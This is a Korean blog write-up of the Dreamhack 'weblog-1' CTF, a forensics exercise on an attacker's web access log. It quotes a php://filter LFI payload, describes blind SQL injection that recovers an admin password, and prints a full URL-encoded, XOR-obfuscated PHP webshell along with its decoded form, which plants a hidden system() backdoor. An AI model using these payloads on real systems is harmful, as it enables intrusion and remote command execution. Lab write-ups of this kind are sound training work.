SlowTurtle_

천천히 그러나 끝까지 완주

Webhacking-Write-Up/Dreamhack

[Dreamhack] weblog-1

SlowTurtle_ 2023. 1. 23. 07:03
728x90

[Dreamhack] weblog-1

(이번 글은 사진이 작을 수 있으니 클릭해서 확인하세요!)

초기 화면이다. 5문제를 풀어야 flag를 주는 것 같다. 우선 admin계정의 Pw를 찾기위해 access.txt을 열어봤다.

정렬은 되어 있지만 보기 너무 힘들어서 Excel로 공백을 기준으로 나눈 뒤 의미 없는 열을 지운 뒤 분석했다.

파일을 빠르게 내리면서 보니 초반과 다르게 의심스러운 부분이 있었다.

자세히 보면 1초마다 1개씩일 때도 있지만 많으면 1초에 4번씩 board.php에서 sort파라미터에 32,33,34~ 와 같이 SQL Injection 의심 쿼리를 확인할 수 있었다. 분명 adminpasword를 탈취하기 위한 쿼리문도 있을 것이니 더 내려봤다.

클릭해서보세요

(TABLE_NAME, COLUMN_NAME 등 응답 패킷을 기준으로 다 찾았으나 우린 password만 알면 되기에 이곳엔 작성하지 않음.)

이때부터 usernamepassword가 등장한다.board.php에서 (username+0x3a+password)와 같은 방식으로 32, 33 ~ 1씩 올리며 문자열을 맞추는 식으로 sql쿼리를 보낸다. 분석을 하다 보면 응답 패킷의 길이를 기준으로 쿼리가 참일 때 길이가 1192이고 거짓일 때 길이는 841인 것을 확인할 수 있다.

 

그렇다면 쿼리문에 usernamepassword가 들어가고 응답 패킷 길이가 1192인 것을 기준으로 보면 아래와 같다.

아스키코드 값들을 순서대로 모두 모아보면97,100,109,105,110,58,84,104,49,115,95,49,115,95,65,100,109,49,110,95,80,64,83,83,44,103,117,101,115,116,58,103,117,101,115,116 이다. 변환하면

admin:Th1s_1s_Adm1n_P@SS, guest:guest임을 알 수 있다. 값을 넣어보자.

다음 문제! config.php코드를 추출하는데 사용한 페이로드를 찾으면 된다.

누가 봐도 맨 아래 페이로드가 가장 의심스럽다

page=php://filter/convert.base64-encode/resource=../config.php부터 넣었는데 틀렸다길래 php://filter/convert.base64-encode/resource=../config.php 넣었더니 다음으로 넘어갔다.

LFI 취약점을 통해 코드 실행이니 웹쉘이 먼저 생각났다. /admin/?page=를 필터로 걸어 확인해봤다.

memo.php에 웹쉘을 삽입하여 memo= ~ 보낸 뒤 /var/lib/php/sessions/sess_ag4l8a5tbv8bkgqe9b9ull5732 경로에 로그가 남았다. 웹쉘로 사용된 파일의 경로는 위와 같음으로 답으로 보내봤다.

생성된 웹쉘의 경로는 바로 이전에 찾았던 구문을 이용하면 된다.

GET/admin/?page=memo.php&memo=%3C?php%20function%20m($l,$T=0){$K=date(%27Y-m-d%27);$_=strlen($l);$__=strlen($K);for($i=0;$i%3C$_;$i%2b%2b){for($j=0;$j%3C$__;%20$j%2b%2b){if($T){$l[$i]=$K[$j]^$l[$i];}else{$l[$i]=$l[$i]^$K[$j];}}}return%20$l;}%20m(%27bmha[tqp[gkjpajpw%27)(m(%27%2brev%2bsss%2blpih%2bqthke`w%2bmiecaw*tlt%27),m(%278;tlt$lae`av,%26LPPT%2b5*5$040$Jkp$Bkqj`%26-?w}wpai,%20[CAP_%26g%26Y-?%27));%20?%3E HTTP/1.1
 

음 근데 url인코딩과 난독화가 되어 보기 힘들다. 보기좋게 정리해보자.

<?php function m($l, $T = 0) {
    $K = date('Y-m-d');
    $_ = strlen($l);
    $__ = strlen($K);
    for ($i = 0;$i < $_;$i++) {
        for ($j = 0;$j < $__;$j++) {
            if ($T) {
                $l[$i] = $K[$j] ^ $l[$i];
            } else {
                $l[$i] = $l[$i] ^ $K[$j];
            }
        }
    }
    return $l;
}
echo m('bmha[tqp[gkjpajpw');
echo m('+rev+sss+lpih+qthke`w+miecaw*tlt');
echo m('8;tlt$lae`av,&LPPT+5*5$040$Jkp$Bkqj`&-?w}wpai, [CAP_&g&Y-?'); 
?>

보기 좋게 정리해놓으면 위와 같다. php를 컴파일해보면

처음부터 잘못된 것 같다. $kdate(‘Y-m-d’);인데 들어간 값이 없다. date함수로 날짜를 받아서 넣은 것 같다. 웹쉘을 실행한 날짜를 찾아봤다.

2020-06-02임을 확인했다. 그러면 date 대신 2020-06-02를 넣고 다시 컴파일해보자.

file_put_contents/var/www/html/uploads/images.php<?php header("HTTP/1.1 404 Not Found");system($_GET["c"]);

위와 같이 얻을 수 있었다. /var부터 답을 넣어보자.

바로 이전에 웹쉘의 경로를 찾았을 때 경로는 var/www/html/uploads/images.php 이곳이었으니 images.php?를 기준으로 찾은 다음에 시간이 가장 빠른 것을 보면 된다.

images.php경로는 하나밖에 없어서 시간 비교할 필요가 없었다. 명령어는 whoami 임을 알았기에 입력해서 보내면

flag을 획득했다.

728x90

'Webhacking-Write-Up > Dreamhack' 카테고리의 다른 글

[Dreamhack] login-1  (0) 2023.01.25
[Dreamhack] [wargame.kr] adm1nkyj  (0) 2023.01.24
[Dreamhack] Tomcat Manager  (0) 2023.01.22
[Dreamhack] Apache htaccess  (0) 2023.01.11
[Dreamhack] File Vulnerability Advanced for linux  (0) 2023.01.11